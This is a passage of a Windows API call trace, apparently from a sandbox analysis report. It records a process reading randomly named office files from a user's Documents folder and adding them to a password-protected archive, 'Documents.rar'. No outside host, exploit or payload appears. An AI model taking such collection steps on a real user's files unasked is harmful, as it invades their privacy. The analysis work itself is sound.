lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.582] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.582] GetTickCount () returned 0xa676f6 [0068.582] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.582] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.582] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.582] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.582] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="nwePxLPwZrM _B2.ppt") returned 19 [0068.582] SetWindowTextW (hWnd=0x10280, lpString="QVNqG4sHjJKiemivuPP.docx") returned 1 [0068.583] GetTickCount () returned 0xa676f6 [0068.583] UpdateWindow (hWnd=0x10278) returned 1 [0068.583] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.583] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.583] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.583] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.583] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0xcb)) [0068.583] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.583] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14392355330) returned 1 [0068.583] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x2712, lpOverlapped=0x0) returned 1 [0068.584] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a2752, nNumberOfBytesToRead=0xfd8ee, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a2752*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.584] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.584] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.584] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65470, Size=0x48) returned 0x39db40 [0068.584] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.584] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.584] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65470, Size=0x48) returned 0x39daf0 [0068.584] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.584] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.584] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.584] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.584] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b654a0 | out: hHeap=0x2e0000) returned 1 [0068.584] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65470 | out: hHeap=0x2e0000) returned 1 [0068.584] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65440, Size=0x48) returned 0x39db40 [0068.584] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.584] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.584] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.585] GetTickCount () returned 0xa676f6 [0068.585] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14392494836) returned 1 [0068.585] GetTickCount () returned 0xa676f6 [0068.585] GetTickCount () returned 0xa676f6 [0068.585] GetTickCount () returned 0xa676f6 [0068.585] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.585] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.585] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.585] ResetEvent (hEvent=0x1a4) returned 1 [0068.585] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.586] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.586] ResetEvent (hEvent=0x1a4) returned 1 [0068.586] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.586] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.587] GetTickCount () returned 0xa676f6 [0068.587] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14392698352) returned 1 [0068.587] GetTickCount () returned 0xa676f6 [0068.587] GetTickCount () returned 0xa676f6 [0068.587] GetTickCount () returned 0xa676f6 [0068.587] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.587] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.587] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.587] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.587] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.587] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2bc302 [0068.587] SetFilePointer (in: hFile=0x198, lDistanceToMove=108, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2bc36e [0068.587] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.587] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.587] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.587] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.587] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x2740, lpOverlapped=0x0) returned 1 [0068.587] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.587] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.587] SetFilePointer (in: hFile=0x198, lDistanceToMove=2867970, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2bc302 [0068.587] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2bc302 [0068.587] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.588] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.588] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65470, Size=0x48) returned 0x39daf0 [0068.588] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.588] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.588] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65470, Size=0x48) returned 0x39db40 [0068.588] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.588] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.588] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.588] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.588] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b654a0 | out: hHeap=0x2e0000) returned 1 [0068.588] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65470 | out: hHeap=0x2e0000) returned 1 [0068.588] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65440, Size=0x48) returned 0x39daf0 [0068.588] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.588] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6c, lpOverlapped=0x0) returned 1 [0068.588] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.588] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6c) returned 0x3b4c110 [0068.588] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.588] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.588] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2beaae [0068.588] CloseHandle (hObject=0x1b0) returned 1 [0068.588] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.588] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.588] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.588] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.588] FindFirstFileW (in: lpFileName="rONkvDPUqOyiM9A qv.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.588] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.588] CreateFileW (lpFileName="rONkvDPUqOyiM9A qv.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\ronkvdpuqoyim9a qv.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.588] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.588] GetTickCount () returned 0xa676f6 [0068.588] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.588] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.588] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.588] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.588] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="QVNqG4sHjJKiemivuPP.docx") returned 24 [0068.588] SetWindowTextW (hWnd=0x10280, lpString="rONkvDPUqOyiM9A qv.xlsx") returned 1 [0068.589] GetTickCount () returned 0xa676f6 [0068.589] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.589] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.589] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.589] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.589] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0xd1)) [0068.589] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.589] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14392962989) returned 1 [0068.589] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x5de3, lpOverlapped=0x0) returned 1 [0068.590] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a5e23, nNumberOfBytesToRead=0xfa21d, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a5e23*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.590] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.590] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.590] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654a0, Size=0x48) returned 0x39db40 [0068.590] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.590] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.590] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654a0, Size=0x48) returned 0x39daf0 [0068.590] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.590] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.590] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.590] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.590] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b654d0 | out: hHeap=0x2e0000) returned 1 [0068.590] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b654a0 | out: hHeap=0x2e0000) returned 1 [0068.590] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65470, Size=0x48) returned 0x39db40 [0068.590] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.590] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.590] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.591] GetTickCount () returned 0xa676f6 [0068.591] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14393103501) returned 1 [0068.591] GetTickCount () returned 0xa676f6 [0068.591] GetTickCount () returned 0xa676f6 [0068.591] GetTickCount () returned 0xa676f6 [0068.591] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.591] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.591] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.591] ResetEvent (hEvent=0x1a4) returned 1 [0068.591] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.592] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.592] ResetEvent (hEvent=0x1a4) returned 1 [0068.592] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.593] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.594] GetTickCount () returned 0xa67706 [0068.594] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14393393687) returned 1 [0068.594] GetTickCount () returned 0xa67706 [0068.594] GetTickCount () returned 0xa67706 [0068.594] GetTickCount () returned 0xa67706 [0068.594] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.594] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.594] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.594] ResetEvent (hEvent=0x190) returned 1 [0068.594] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.595] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.595] ResetEvent (hEvent=0x190) returned 1 [0068.595] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.595] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.595] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.595] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.595] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2beaae [0068.595] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2beb19 [0068.595] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.595] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.595] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.595] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.596] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x5e30, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x5e30, lpOverlapped=0x0) returned 1 [0068.596] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.596] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.596] SetFilePointer (in: hFile=0x198, lDistanceToMove=2878126, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2beaae [0068.596] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2beaae [0068.596] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.596] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.597] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654a0, Size=0x48) returned 0x39daf0 [0068.597] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.597] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.597] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b654a0, Size=0x48) returned 0x39db40 [0068.597] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.597] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.597] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654a0 [0068.597] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b654d0 [0068.597] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b654d0 | out: hHeap=0x2e0000) returned 1 [0068.597] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b654a0 | out: hHeap=0x2e0000) returned 1 [0068.597] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65470, Size=0x48) returned 0x39daf0 [0068.597] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.597] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6b, lpOverlapped=0x0) returned 1 [0068.597] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.597] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6b) returned 0x3b4c190 [0068.597] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.597] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.597] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2c4949 [0068.597] CloseHandle (hObject=0x1b0) returned 1 [0068.597] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.597] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.597] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.597] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.597] FindFirstFileW (in: lpFileName="Rr-L433.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.597] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.597] CreateFileW (lpFileName="Rr-L433.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\rr-l433.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.597] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.597] GetTickCount () returned 0xa67706 [0068.597] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.597] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.597] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.597] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.597] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="rONkvDPUqOyiM9A qv.xlsx") returned 23 [0068.597] SetWindowTextW (hWnd=0x10280, lpString="Rr-L433.pptx") returned 1 [0068.598] GetTickCount () returned 0xa67706 [0068.598] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.598] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.598] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.598] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.598] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, 